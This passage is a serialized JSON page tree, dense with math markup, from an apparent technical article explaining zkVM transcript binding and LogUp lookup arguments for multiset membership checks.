:115153,"style":96112},[7126,24690],[115155],{"type":30,"value":96931},{"type":24,"tag":930,"props":115157,"children":115158},{"style":114641},[115159,115163],{"type":24,"tag":930,"props":115160,"children":115162},{"className":115161,"style":114646},[7166],[],{"type":24,"tag":930,"props":115164,"children":115166},{"className":115165,"style":114734},[114664],[115167],{"type":24,"tag":930,"props":115168,"children":115170},{"className":115169,"style":114740},[114739],[115171],{"type":24,"tag":37362,"props":115172,"children":115173},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[115174],{"type":24,"tag":114752,"props":115175,"children":115176},{"d":114754},[],{"type":24,"tag":930,"props":115178,"children":115180},{"className":115179},[24840],[115181],{"type":30,"value":6249},{"type":24,"tag":33,"props":115183,"children":115184},{},[115185,115187,115256,115258,115404,115406,115545,115547,115631],{"type":30,"value":115186},"At a fixed challenge point ",{"type":24,"tag":156,"props":115188,"children":115190},{"className":115189},[7098,7099],[115191],{"type":24,"tag":930,"props":115192,"children":115194},{"className":115193},[7104],[115195],{"type":24,"tag":930,"props":115196,"children":115198},{"className":115197,"ariaHidden":7110},[7109],[115199],{"type":24,"tag":930,"props":115200,"children":115202},{"className":115201},[7115],[115203,115207],{"type":24,"tag":930,"props":115204,"children":115206},{"className":115205,"style":114710},[7120],[],{"type":24,"tag":930,"props":115208,"children":115210},{"className":115209},[7126,114624],[115211],{"type":24,"tag":930,"props":115212,"children":115214},{"className":115213},[7147],[115215],{"type":24,"tag":930,"props":115216,"children":115218},{"className":115217},[7152],[115219],{"type":24,"tag":930,"props":115220,"children":115222},{"className":115221,"style":114710},[7157],[115223,115235],{"type":24,"tag":930,"props":115224,"children":115225},{"style":114641},[115226,115230],{"type":24,"tag":930,"props":115227,"children":115229},{"className":115228,"style":114646},[7166],[],{"type":24,"tag":930,"props":115231,"children":115233},{"className":115232,"style":96112},[7126,24690],[115234],{"type":30,"value":96931},{"type":24,"tag":930,"props":115236,"children":115237},{"style":114641},[115238,115242],{"type":24,"tag":930,"props":115239,"children":115241},{"className":115240,"style":114646},[7166],[],{"type":24,"tag":930,"props":115243,"children":115245},{"className":115244,"style":114734},[114664],[115246],{"type":24,"tag":930,"props":115247,"children":115249},{"className":115248,"style":114740},[114739],[115250],{"type":24,"tag":37362,"props":115251,"children":115252},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[115253],{"type":24,"tag":114752,"props":115254,"children":115255},{"d":114754},[],{"type":30,"value":115257},", the coefficients ",{"type":24,"tag":156,"props":115259,"children":115261},{"className":115260},[7098,7099],[115262],{"type":24,"tag":930,"props":115263,"children":115265},{"className":115264},[7104],[115266],{"type":24,"tag":930,"props":115267,"children":115269},{"className":115268,"ariaHidden":7110},[7109],[115270],{"type":24,"tag":930,"props":115271,"children":115273},{"className":115272},[7115],[115274,115278,115287,115292,115341,115346,115350,115399],{"type":24,"tag":930,"props":115275,"children":115277},{"className":115276,"style":115053},[7120],[],{"type":24,"tag":930,"props":115279,"children":115281},{"className":115280},[7126,30],[115282],{"type":24,"tag":930,"props":115283,"children":115285},{"className":115284},[7126],[115286],{"type":30,"value":115064},{"type":24,"tag":930,"props":115288,"children":115290},{"className":115289},[24818],[115291],{"type":30,"value":1010},{"type":24,"tag":930,"props":115293,"children":115295},{"className":115294},[7126,114624],[115296],{"type":24,"tag":930,"props":115297,"children":115299},{"className":115298},[7147],[115300],{"type":24,"tag":930,"props":115301,"children":115303},{"className":115302},[7152],[115304],{"type":24,"tag":930,"props":115305,"children":115307},{"className":115306,"style":114840},[7157],[115308,115320],{"type":24,"tag":930,"props":115309,"children":115310},{"style":114641},[115311,115315],{"type":24,"tag":930,"props":115312,"children":115314},{"className":115313,"style":114646},[7166],[],{"type":24,"tag":930,"props":115316,"children":115318},{"className":115317},[7126,24690],[115319],{"type":30,"value":6343},{"type":24,"tag":930,"props":115321,"children":115322},{"style":115008},[115323,115327],{"type":24,"tag":930,"props":115324,"children":115326},{"className":115325,"style":114646},[7166],[],{"type":24,"tag":930,"props":115328,"children":115330},{"className":115329,"style":114867},[114664],[115331],{"type":24,"tag":930,"props":115332,"children":115334},{"className":115333,"style":114740},[114739],[115335],{"type":24,"tag":37362,"props":115336,"children":115337},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[115338],{"type":24,"tag":114752,"props":115339,"children":115340},{"d":114754},[],{"type":24,"tag":930,"props":115342,"children":115344},{"className":115343},[7238],[115345],{"type":30,"value":7241},{"type":24,"tag":930,"props":115347,"children":115349},{"className":115348,"style":7245},[7206],[],{"type":24,"tag":930,"props":115351,"children":115353},{"className":115352},[7126,114624],[115354],{"type":24,"tag":930,"props":115355,"children":115357},{"className":115356},[7147],[115358],{"type":24,"tag":930,"props":115359,"children":115361},{"className":115360},[7152],[115362],{"type":24,"tag":930,"props":115363,"children":115365},{"className":115364,"style":114710},[7157],[115366,115378],{"type":24,"tag":930,"props":115367,"children":115368},{"style":114641},[115369,115373],{"type":24,"tag":930,"props":115370,"children":115372},{"className":115371,"style":114646},[7166],[],{"type":24,"tag":930,"props":115374,"children":115376},{"className":115375,"style":96112},[7126,24690],[115377],{"type":30,"value":96931},{"type":24,"tag":930,"props":115379,"children":115380},{"style":114641},[115381,115385],{"type":24,"tag":930,"props":115382,"children":115384},{"className":115383,"style":114646},[7166],[],{"type":24,"tag":930,"props":115386,"children":115388},{"className":115387,"style":114734},[114664],[115389],{"type":24,"tag":930,"props":115390,"children":115392},{"className":115391,"style":114740},[114739],[115393],{"type":24,"tag":37362,"props":115394,"children":115395},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[115396],{"type":24,"tag":114752,"props":115397,"children":115398},{"d":114754},[],{"type":24,"tag":930,"props":115400,"children":115402},{"className":115401},[24840],[115403],{"type":30,"value":6249},{"type":30,"value":115405}," are constants, so ",{"type":24,"tag":156,"props":115407,"children":115409},{"className":115408},[7098,7099],[115410],{"type":24,"tag":930,"props":115411,"children":115413},{"className":115412},[7104],[115414],{"type":24,"tag":930,"props":115415,"children":115417},{"className":115416,"ariaHidden":7110},[7109],[115418],{"type":24,"tag":930,"props":115419,"children":115421},{"className":115420},[7115],[115422,115426,115486,115491,115540],{"type":24,"tag":930,"props":115423,"children":115425},{"className":115424,"style":114619},[7120],[],{"type":24,"tag":930,"props":115427,"children":115429},{"className":115428},[7126,114624],[115430],{"type":24,"tag":930,"props":115431,"children":115433},{"className":115432},[7147,24743],[115434,115475],{"type":24,"tag":930,"props":115435,"children":115437},{"className":115436},[7152],[115438,115470],{"type":24,"tag":930,"props":115439,"children":115441},{"className":115440,"style":114637},[7157],[115442,115454],{"type":24,"tag":930,"props":115443,"children":115444},{"style":114641},[115445,115449],{"type":24,"tag":930,"props":115446,"children":115448},{"className":115447,"style":114646},[7166],[],{"type":24,"tag":930,"props":115450,"children":115452},{"className":115451,"style":98466},[7126,24690],[115453],{"type":30,"value":36173},{"type":24,"tag":930,"props":115455,"children":115456},{"style":114655},[115457,115461],{"type":24,"tag":930,"props":115458,"children":115460},{"className":115459,"style":114646},[7166],[],{"type":24,"tag":930,"props":115462,"children":115464},{"className":115463,"style":114665},[114664],[115465],{"type":24,"tag":930,"props":115466,"children":115468},{"className":115467},[7126],[115469],{"type":30,"value":114672},{"type":24,"tag":930,"props":115471,"children":115473},{"className":115472},[24846],[115474],{"type":30,"value":24849},{"type":24,"tag":930,"props":115476,"children":115478},{"className":115477},[7152],[115479],{"type":24,"tag":930,"props":115480,"children":115482},{"className":115481,"style":114685},[7157],[115483],{"type":24,"tag":930,"props":115484,"children":115485},{},[],{"type":24,"tag":930,"props":115487,"children":115489},{"className":115488},[24818],[115490],{"type":30,"value":1010},{"type":24,"tag":930,"props":115492,"children":115494},{"className":115493},[7126,114624],[115495],{"type":24,"tag":930,"props":115496,"children":115498},{"className":115497},[7147],[115499],{"type":24,"tag":930,"props":115500,"children":115502},{"className":115501},[7152],[115503],{"type":24,"tag":930,"props":115504,"children":115506},{"className":115505,"style":114710},[7157],[115507,115519],{"type":24,"tag":930,"props":115508,"children":115509},{"style":114641},[115510,115514],{"type":24,"tag":930,"props":115511,"children":115513},{"className":115512,"style":114646},[7166],[],{"type":24,"tag":930,"props":115515,"children":115517},{"className":115516,"style":96112},[7126,24690],[115518],{"type":30,"value":96931},{"type":24,"tag":930,"props":115520,"children":115521},{"style":114641},[115522,115526],{"type":24,"tag":930,"props":115523,"children":115525},{"className":115524,"style":114646},[7166],[],{"type":24,"tag":930,"props":115527,"children":115529},{"className":115528,"style":114734},[114664],[115530],{"type":24,"tag":930,"props":115531,"children":115533},{"className":115532,"style":114740},[114739],[115534],{"type":24,"tag":37362,"props":115535,"children":115536},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[115537],{"type":24,"tag":114752,"props":115538,"children":115539},{"d":114754},[],{"type":24,"tag":930,"props":115541,"children":115543},{"className":115542},[24840],[115544],{"type":30,"value":6249},{"type":30,"value":115546}," is linear in the table values ",{"type":24,"tag":156,"props":115548,"children":115550},{"className":115549},[7098,7099],[115551],{"type":24,"tag":930,"props":115552,"children":115554},{"className":115553},[7104],[115555],{"type":24,"tag":930,"props":115556,"children":115558},{"className":115557,"ariaHidden":7110},[7109],[115559],{"type":24,"tag":930,"props":115560,"children":115562},{"className":115561},[7115],[115563,115567,115572,115577,115626],{"type":24,"tag":930,"props":115564,"children":115566},{"className":115565,"style":115053},[7120],[],{"type":24,"tag":930,"props":115568,"children":115570},{"className":115569,"style":98466},[7126,24690],[115571],{"type":30,"value":36173},{"type":24,"tag":930,"props":115573,"children":115575},{"className":115574},[24818],[115576],{"type":30,"value":1010},{"type":24,"tag":930,"props":115578,"children":115580},{"className":115579},[7126,114624],[115581],{"type":24,"tag":930,"props":115582,"children":115584},{"className":115583},[7147],[115585],{"type":24,"tag":930,"props":115586,"children":115588},{"className":115587},[7152],[115589],{"type":24,"tag":930,"props":115590,"children":115592},{"className":115591,"style":114840},[7157],[115593,115605],{"type":24,"tag":930,"props":115594,"children":115595},{"style":114641},[115596,115600],{"type":24,"tag":930,"props":115597,"children":115599},{"className":115598,"style":114646},[7166],[],{"type":24,"tag":930,"props":115601,"children":115603},{"className":115602},[7126,24690],[115604],{"type":30,"value":6343},{"type":24,"tag":930,"props":115606,"children":115607},{"style":115008},[115608,115612],{"type":24,"tag":930,"props":115609,"children":115611},{"className":115610,"style":114646},[7166],[],{"type":24,"tag":930,"props":115613,"children":115615},{"className":115614,"style":114867},[114664],[115616],{"type":24,"tag":930,"props":115617,"children":115619},{"className":115618,"style":114740},[114739],[115620],{"type":24,"tag":37362,"props":115621,"children":115622},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[115623],{"type":24,"tag":114752,"props":115624,"children":115625},{"d":114754},[],{"type":24,"tag":930,"props":115627,"children":115629},{"className":115628},[24840],[115630],{"type":30,"value":6249},{"type":30,"value":436},{"type":24,"tag":33,"props":115633,"children":115634},{},[115635,115637,115706],{"type":30,"value":115636},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":24,"tag":156,"props":115638,"children":115640},{"className":115639},[7098,7099],[115641],{"type":24,"tag":930,"props":115642,"children":115644},{"className":115643},[7104],[115645],{"type":24,"tag":930,"props":115646,"children":115648},{"className":115647,"ariaHidden":7110},[7109],[115649],{"type":24,"tag":930,"props":115650,"children":115652},{"className":115651},[7115],[115653,115657],{"type":24,"tag":930,"props":115654,"children":115656},{"className":115655,"style":114710},[7120],[],{"type":24,"tag":930,"props":115658,"children":115660},{"className":115659},[7126,114624],[115661],{"type":24,"tag":930,"props":115662,"children":115664},{"className":115663},[7147],[115665],{"type":24,"tag":930,"props":115666,"children":115668},{"className":115667},[7152],[115669],{"type":24,"tag":930,"props":115670,"children":115672},{"className":115671,"style":114710},[7157],[115673,115685],{"type":24,"tag":930,"props":115674,"children":115675},{"style":114641},[115676,115680],{"type":24,"tag":930,"props":115677,"children":115679},{"className":115678,"style":114646},[7166],[],{"type":24,"tag":930,"props":115681,"children":115683},{"className":115682,"style":96112},[7126,24690],[115684],{"type":30,"value":96931},{"type":24,"tag":930,"props":115686,"children":115687},{"style":114641},[115688,115692],{"type":24,"tag":930,"props":115689,"children":115691},{"className":115690,"style":114646},[7166],[],{"type":24,"tag":930,"props":115693,"children":115695},{"className":115694,"style":114734},[114664],[115696],{"type":24,"tag":930,"props":115697,"children":115699},{"className":115698,"style":114740},[114739],[115700],{"type":24,"tag":37362,"props":115701,"children":115702},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[115703],{"type":24,"tag":114752,"props":115704,"children":115705},{"d":114754},[],{"type":30,"value":115707}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":24,"tag":151,"props":115709,"children":115711},{"id":115710},"lookup-arguments-logup",[115712],{"type":30,"value":115713},"Lookup Arguments (LogUp)",{"type":24,"tag":33,"props":115715,"children":115716},{},[115717],{"type":30,"value":115718},"zkVMs need to check that values satisfy certain properties. For example:",{"type":24,"tag":96,"props":115720,"children":115721},{},[115722,115778,115783],{"type":24,"tag":100,"props":115723,"children":115724},{},[115725,115727,115777],{"type":30,"value":115726},"Is this byte in range ",{"type":24,"tag":156,"props":115728,"children":115730},{"className":115729},[7098,7099],[115731],{"type":24,"tag":930,"props":115732,"children":115734},{"className":115733},[7104],[115735],{"type":24,"tag":930,"props":115736,"children":115738},{"className":115737,"ariaHidden":7110},[7109],[115739],{"type":24,"tag":930,"props":115740,"children":115742},{"className":115741},[7115],[115743,115747,115752,115757,115762,115766,115772],{"type":24,"tag":930,"props":115744,"children":115746},{"className":115745,"style":7227},[7120],[],{"type":24,"tag":930,"props":115748,"children":115750},{"className":115749},[24818],[115751],{"type":30,"value":6849},{"type":24,"tag":930,"props":115753,"children":115755},{"className":115754},[7126],[115756],{"type":30,"value":1818},{"type":24,"tag":930,"props":115758,"children":115760},{"className":115759},[7238],[115761],{"type":30,"value":7241},{"type":24,"tag":930,"props":115763,"children":115765},{"className":115764,"style":7245},[7206],[],{"type":24,"tag":930,"props":115767,"children":115769},{"className":115768},[7126],[115770],{"type":30,"value":115771},"255",{"type":24,"tag":930,"props":115773,"children":115775},{"className":115774},[24840],[115776],{"type":30,"value":18514},{"type":30,"value":5347},{"type":24,"tag":100,"props":115779,"children":115780},{},[115781],{"type":30,"value":115782},"Does this opcode decode correctly?",{"type":24,"tag":100,"props":115784,"children":115785},{},[115786],{"type":30,"value":115787},"Is this memory access consistent with previous accesses?",{"type":24,"tag":33,"props":115789,"children":115790},{},[115791,115796],{"type":24,"tag":275,"props":115792,"children":115793},{},[115794],{"type":30,"value":115795},"The naive approach:",{"type":30,"value":115797}," Add constraints for each check. Expensive.",{"type":24,"tag":33,"props":115799,"children":115800},{},[115801,115806,115808,115813],{"type":24,"tag":275,"props":115802,"children":115803},{},[115804],{"type":30,"value":115805},"The clever approach:",{"type":30,"value":115807}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":24,"tag":275,"props":115809,"children":115810},{},[115811],{"type":30,"value":115812},"multiset membership",{"type":30,"value":70881},{"type":24,"tag":33,"props":115815,"children":115816},{},[115817,115822],{"type":24,"tag":275,"props":115818,"children":115819},{},[115820],{"type":30,"value":115821},"LogUp (Logarithmic Derivative):",{"type":30,"value":115823}," Encode multiset membership as a sum of fractions.",{"type":24,"tag":33,"props":115825,"children":115826},{},[115827,115829,115854,115856,115883],{"type":30,"value":115828},"If set ",{"type":24,"tag":156,"props":115830,"children":115832},{"className":115831},[7098,7099],[115833],{"type":24,"tag":930,"props":115834,"children":115836},{"className":115835},[7104],[115837],{"type":24,"tag":930,"props":115838,"children":115840},{"className":115839,"ariaHidden":7110},[7109],[115841],{"type":24,"tag":930,"props":115842,"children":115844},{"className":115843},[7115],[115845,115849],{"type":24,"tag":930,"props":115846,"children":115848},{"className":115847,"style":24685},[7120],[],{"type":24,"tag":930,"props":115850,"children":115852},{"className":115851},[7126,24690],[115853],{"type":30,"value":79846},{"type":30,"value":115855}," should equal set ",{"type":24,"tag":156,"props":115857,"children":115859},{"className":115858},[7098,7099],[115860],{"type":24,"tag":930,"props":115861,"children":115863},{"className":115862},[7104],[115864],{"type":24,"tag":930,"props":115865,"children":115867},{"className":115866,"ariaHidden":7110},[7109],[115868],{"type":24,"tag":930,"props":115869,"children":115871},{"className":115870},[7115],[115872,115876],{"type":24,"tag":930,"props":115873,"children":115875},{"className":115874,"style":24685},[7120],[],{"type":24,"tag":930,"props":115877,"children":115880},{"className":115878,"style":115879},[7126,24690],"margin-right:0.05017em;",[115881],{"type":30,"value":115882},"B",{"type":30,"value":115884}," as multisets:",{"type":24,"tag":33,"props":115886,"children":115887},{},[115888],{"type":24,"tag":156,"props":115889,"children":115891},{"className":115890},[7098,7099],[115892],{"type":24,"tag":930,"props":115893,"children":115895},{"className":115894},[7104],[115896],{"type":24,"tag":930,"props":115897,"children":115899},{"className":115898,"ariaHidden":7110},[7109],[115900,116115],{"type":24,"tag":930,"props":115901,"children":115903},{"className":115902},[7115],[115904,115909,115982,115986,116102,116106,116111],{"type":24,"tag":930,"props":115905,"children":115908},{"className":115906,"style":115907},[7120],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":24,"tag":930,"props":115910,"children":115912},{"className":115911},[24725],[115913,115918],{"type":24,"tag":930,"props":115914,"children":115916},{"className":115915,"style":24732},[24725,24730,24731],[115917],{"type":30,"value":111270},{"type":24,"tag":930,"props":115919,"children":115921},{"className":115920},[7142],[115922],{"type":24,"tag":930,"props":115923,"children":115925},{"className":115924},[7147,24743],[115926,115970],{"type":24,"tag":930,"props":115927,"children":115929},{"className":115928},[7152],[115930,115965],{"type":24,"tag":930,"props":115931,"children":115934},{"className":115932,"style":115933},[7157],"height:0.1786em;",[115935],{"type":24,"tag":930,"props":115936,"children":115937},{"style":24756},[115938,115942],{"type":24,"tag":930,"props":115939,"children":115941},{"className":115940,"style":7167},[7166],[],{"type":24,"tag":930,"props":115943,"children":115945},{"className":115944},[7172,7173,7174,7175],[115946],{"type":24,"tag":930,"props":115947,"children":115949},{"className":115948},[7126,7175],[115950,115955,115960],{"type":24,"tag":930,"props":115951,"children":115953},{"className":115952},[7126,24690,7175],[115954],{"type":30,"value":37},{"type":24,"tag":930,"props":115956,"children":115958},{"className":115957},[7309,7175],[115959],{"type":30,"value":24796},{"type":24,"tag":930,"props":115961,"children":115963},{"className":115962},[7126,24690,7175],[115964],{"type":30,"value":79846},{"type":24,"tag":930,"props":115966,"children":115968},{"className":115967},[24846],[115969],{"type":30,"value":24849},{"type":24,"tag":930,"props":115971,"children":115973},{"className":115972},[7152],[115974],{"type":24,"tag":930,"props":115975,"children":115978},{"className":115976,"style":115977},[7157],"height:0.3271em;",[115979],{"type":24,"tag":930,"props":115980,"children":115981},{},[],{"type":24,"tag":930,"props":115983,"children":115985},{"className":115984,"style":7245},[7206],[],{"type":24,"tag":930,"props":115987,"children":115989},{"className":115988},[7126],[115990,115995,116098],{"type":24,"tag":930,"props":115991,"children":115994},{"className":115992},[24818,115993],"nulldelimiter",[],{"type":24,"tag":930,"props":115996,"children":115999},{"className":115997},[115998],"mfrac",[116000],{"type":24,"tag":930,"props":116001,"children":116003},{"className":116002},[7147,24743],[116004,116086],{"type":24,"tag":930,"props":116005,"children":116007},{"className":116006},[7152],[116008,116081],{"type":24,"tag":930,"props":116009,"children":116012},{"className":116010,"style":116011},[7157],"height:0.8451em;",[116013,116046,116060],{"type":24,"tag":930,"props":116014,"children":116016},{"style":116015},"top:-2.655em;",[116017,116021],{"type":24,"tag":930,"props":116018,"children":116020},{"className":116019,"style":114646},[7166],[],{"type":24,"tag":930,"props":116022,"children":116024},{"className":116023},[7172,7173,7174,7175],[116025],{"type":24,"tag":930,"props":116026,"children":116028},{"className":116027},[7126,7175],[116029,116036,116041],{"type":24,"tag":930,"props":116030,"children":116033},{"className":116031,"style":116032},[7126,24690,7175],"margin-right:0.04398em;",[116034],{"type":30,"value":116035},"z",{"type":24,"tag":930,"props":116037,"children":116039},{"className":116038},[7212,7175],[116040],{"type":30,"value":7186},{"type":24,"tag":930,"props":116042,"children":116044},{"className":116043},[7126,24690,7175],[116045],{"type":30,"value":37},{"type":24,"tag":930,"props":116047,"children":116049},{"style":116048},"top:-3.23em;",[116050,116054],{"type":24,"tag":930,"props":116051,"children":116053},{"className":116052,"style":114646},[7166],[],{"type":24,"tag":930,"props":116055,"children":116059},{"className":116056,"style":116058},[116057],"frac-line","border-bottom-width:0.04em;",[],{"type":24,"tag":930,"props":116061,"children":116063},{"style":116062},"top:-3.394em;",[116064,116068],{"type":24,"tag":930,"props":116065,"children":116067},{"className":116066,"style":114646},[7166],[],{"type":24,"tag":930,"props":116069,"children":116071},{"className":116070},[7172,7173,7174,7175],[116072],{"type":24,"tag":930,"props":116073,"children":116075},{"className":116074},[7126,7175],[116076],{"type":24,"tag":930,"props":116077,"children":116079},{"className":116078},[7126,7175],[116080],{"type":30,"value":7129},{"type":24,"tag":930,"props":116082,"children":116084},{"className":116083},[24846],[116085],{"type":30,"value":24849},{"type":24,"tag":930,"props":116087,"children":116089},{"className":116088},[7152],[116090],{"type":24,"tag":930,"props":116091,"children":116094},{"className":116092,"style":116093},[7157],"height:0.4033em;",[116095],{"type":24,"tag":930,"props":116096,"children":116097},{},[],{"type":24,"tag":930,"props":116099,"children":116101},{"className":116100},[24840,115993],[],{"type":24,"tag":930,"props":116103,"children":116105},{"className":116104,"style":7304},[7206],[],{"type":24,"tag":930,"props":116107,"children":116109},{"className":116108},[7309],[116110],{"type":30,"value":1161},{"type":24,"tag":930,"props":116112,"children":116114},{"className":116113,"style":7304},[7206],[],{"type":24,"tag":930,"props":116116,"children":116118},{"className":116117},[7115],[116119,116123,116195,116199],{"type":24,"tag":930,"props":116120,"children":116122},{"className":116121,"style":115907},[7120],[],{"type":24,"tag":930,"props":116124,"children":116126},{"className":116125},[24725],[116127,116132],{"type":24,"tag":930,"props":116128,"children":116130},{"className":116129,"style":24732},[24725,24730,24731],[116131],{"type":30,"value":111270},{"type":24,"tag":930,"props":116133,"children":116135},{"className":116134},[7142],[116136],{"type":24,"tag":930,"props":116137,"children":116139},{"className":116138},[7147,24743],[116140,116184],{"type":24,"tag":930,"props":116141,"children":116143},{"className":116142},[7152],[116144,116179],{"type":24,"tag":930,"props":116145,"children":116148},{"className":116146,"style":116147},[7157],"height:0.1864em;",[116149],{"type":24,"tag":930,"props":116150,"children":116151},{"style":24756},[116152,116156],{"type":24,"tag":930,"props":116153,"children":116155},{"className":116154,"style":7167},[7166],[],{"type":24,"tag":930,"props":116157,"children":116159},{"className":116158},[7172,7173,7174,7175],[116160],{"type":24,"tag":930,"props":116161,"children":116163},{"className":116162},[7126,7175],[116164,116169,116174],{"type":24,"tag":930,"props":116165,"children":116167},{"className":116166},[7126,24690,7175],[116168],{"type":30,"value":6343},{"type":24,"tag":930,"props":116170,"children":116172},{"className":116171},[7309,7175],[116173],{"type":30,"value":24796},{"type":24,"tag":930,"props":116175,"children":116177},{"className":116176,"style":115879},[7126,24690,7175],[116178],{"type":30,"value":115882},{"type":24,"tag":930,"props":116180,"children":116182},{"className":116181},[24846],[116183],{"type":30,"value":24849},{"type":24,"tag":930,"props":116185,"children":116187},{"className":116186},[7152],[116188],{"type":24,"tag":930,"props":116189,"children":116191},{"className":116190,"style":115977},[7157],[116192],{"type":24,"tag":930,"props":116193,"children":116194},{},[],{"type":24,"tag":930,"props":116196,"children":116198},{"className":116197,"style":7245},[7206],[],{"type":24,"tag":930,"props":116200,"children":116202},{"className":116201},[7126],[116203,116207,116300],{"type":24,"tag":930,"props":116204,"children":116206},{"className":116205},[24818,115993],[],{"type":24,"tag":930,"props":116208,"children":116210},{"className":116209},[115998],[116211],{"type":24,"tag":930,"props":116212,"children":116214},{"className":116213},[7147,24743],[116215,116289],{"type":24,"tag":930,"props":116216,"children":116218},{"className":116217},[7152],[116219,116284],{"type":24,"tag":930,"props":116220,"children":116222},{"className":116221,"style":116011},[7157],[116223,116253,116264],{"type":24,"tag":930,"props":116224,"children":116225},{"style":116015},[116226,116230],{"type":24,"tag":930,"props":116227,"children":116229},{"className":116228,"style":114646},[7166],[],{"type":24,"tag":930,"props":116231,"children":116233},{"className":116232},[7172,7173,7174,7175],[116234],{"type":24,"tag":930,"props":116235,"children":116237},{"className":116236},[7126,7175],[116238,116243,116248],{"type":24,"tag":930,"props":116239,"children":116241},{"className":116240,"style":116032},[7126,24690,7175],[116242],{"type":30,"value":116035},{"type":24,"tag":930,"props":116244,"children":116246},{"className":116245},[7212,7175],[116247],{"type":30,"value":7186},{"type":24,"tag":930,"props":116249,"children":116251},{"className":116250},[7126,24690,7175],[116252],{"type":30,"value":6343},{"type":24,"tag":930,"props":116254,"children":116255},{"style":116048},[116256,116260],{"type":24,"tag":930,"props":116257,"children":116259},{"className":116258,"style":114646},[7166],[],{"type":24,"tag":930,"props":116261,"children":116263},{"className":116262,"style":116058},[116057],[],{"type":24,"tag":930,"props":116265,"children":116266},{"style":116062},[116267,116271],{"type":24,"tag":930,"props":116268,"children":116270},{"className":116269,"style":114646},[7166],[],{"type":24,"tag":930,"props":116272,"children":116274},{"className":116273},[7172,7173,7174,7175],[116275],{"type":24,"tag":930,"props":116276,"children":116278},{"className":116277},[7126,7175],[116279],{"type":24,"tag":930,"props":116280,"children":116282},{"className":116281},[7126,7175],[116283],{"type":30,"value":7129},{"type":24,"tag":930,"props":116285,"children":116287},{"className":116286},[24846],[116288],{"type":30,"value":24849},{"type":24,"tag":930,"props":116290,"children":116292},{"className":116291},[7152],[116293],{"type":24,"tag":930,"props":116294,"children":116296},{"className":116295,"style":116093},[7157],[116297],{"type":24,"tag":930,"props":116298,"children":116299},{},[],{"type":24,"tag":930,"props":116301,"children":116303},{"className":116302},[24840,115993],[],{"type":24,"tag":33,"props":116305,"children":116306},{},[116307,116309,116334],{"type":30,"value":116308},"for random challenge ",{"type":24,"tag":156,"props":116310,"children":116312},{"className":116311},[7098,7099],[116313],{"type":24,"tag":930,"props":116314,"children":116316},{"className":116315},[7104],[116317],{"type":24,"tag":930,"props":116318,"children":116320},{"className":116319,"ariaHidden":7110},[7109],[116321],{"type":24,"tag":930,"props":116322,"children":116324},{"className":116323},[7115],[116325,116329],{"type":24,"tag":930,"props":116326,"children":116328},{"className":116327,"style":113316},[7120],[],{"type":24,"tag":930,"props":116330,"children":116332},{"className":116331,"style":116032},[7126,24690],[116333],{"type":30,"value":116035},{"type":30,"value":116335},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":24,"tag":33,"props":116337,"children":116338},{},[116339,116344],{"type":24,"tag":275,"props":116340,"children":116341},{},[116342],{"type":30,"value":116343},"In zkVMs:",{"type":30,"value":116345}," Different components emit and consume lookup tuples:",{"type":24,"tag":96,"props":116347,"children":116348},{},[116349,116436],{"type":24,"tag":100,"props":116350,"children":116351},{},[116352,116354,116380,116382,116407,116409,116435],{"type":30,"value":116353},"CPU emits: \"I read value ",{"type":24,"tag":156,"props":116355,"children":116357},{"className":116356},[7098,7099],[116358],{"type":24,"tag":930,"props":116359,"children":116361},{"className":116360},[7104],[116362],{"type":24,"tag":930,"props":116363,"children":116365},{"className":116364,"ariaHidden":7110},[7109],[116366],{"type":24,"tag":930,"props":116367,"children":116369},{"className":116368},[7115],[116370,116374],{"type":24,"tag":930,"props":116371,"children":116373},{"className":116372,"style":113316},[7120],[],{"type":24,"tag":930,"props":116375,"children":116377},{"className":116376,"style":96598},[7126,24690],[116378],{"type":30,"value":116379},"v",{"type":30,"value":116381}," from address ",{"type":24,"tag":156,"props":116383,"children":116385},{"className":116384},[7098,7099],[116386],{"type":24,"tag":930,"props":116387,"children":116389},{"className":116388},[7104],[116390],{"type":24,"tag":930,"props":116391,"children":116393},{"className":116392,"ariaHidden":7110},[7109],[116394],{"type":24,"tag":930,"props":116395,"children":116397},{"className":116396},[7115],[116398,116402],{"type":24,"tag":930,"props":116399,"children":116401},{"className":116400,"style":113316},[7120],[],{"type":24,"tag":930,"props":116403,"children":116405},{"className":116404},[7126,24690],[116406],{"type":30,"value":37},{"type":30,"value":116408}," at time ",{"type":24,"tag":156,"props":116410,"children":116412},{"className":116411},[7098,7099],[116413],{"type":24,"tag":930,"props":116414,"children":116416},{"className":116415},[7104],[116417],{"type":24,"tag":930,"props":116418,"children":116420},{"className":116419,"ariaHidden":7110},[7109],[116421],{"type":24,"tag":930,"props":116422,"children":116424},{"className":116423},[7115],[116425,116430],{"type":24,"tag":930,"props":116426,"children":116429},{"className":116427,"style":116428},[7120],"height:0.6151em;",[],{"type":24,"tag":930,"props":116431,"children":116433},{"className":116432},[7126,24690],[116434],{"type":30,"value":24831},{"type":30,"value":23163},{"type":24,"tag":100,"props":116437,"children":116438},{},[116439,116441,116466,116468,116493,116495,116520],{"type":30,"value":116440},"Memory table consumes: \"At time ",{"type":24,"tag":156,"props":116442,"children":116444},{"className":116443},[7098,7099],[116445],{"type":24,"tag":930,"props":116446,"children":116448},{"className":116447},[7104],[116449],{"type":24,"tag":930,"props":116450,"children":116452},{"className":116451,"ariaHidden":7110},[7109],[116453],{"type":24,"tag":930,"props":116454,"children":116456},{"className":116455},[7115],[116457,116461],{"type":24,"tag":930,"props":116458,"children":116460},{"className":116459,"style":116428},[7120],[],{"type":24,"tag":930,"props":116462,"children":116464},{"className":116463},[7126,24690],[116465],{"type":30,"value":24831},{"type":30,"value":116467},", address 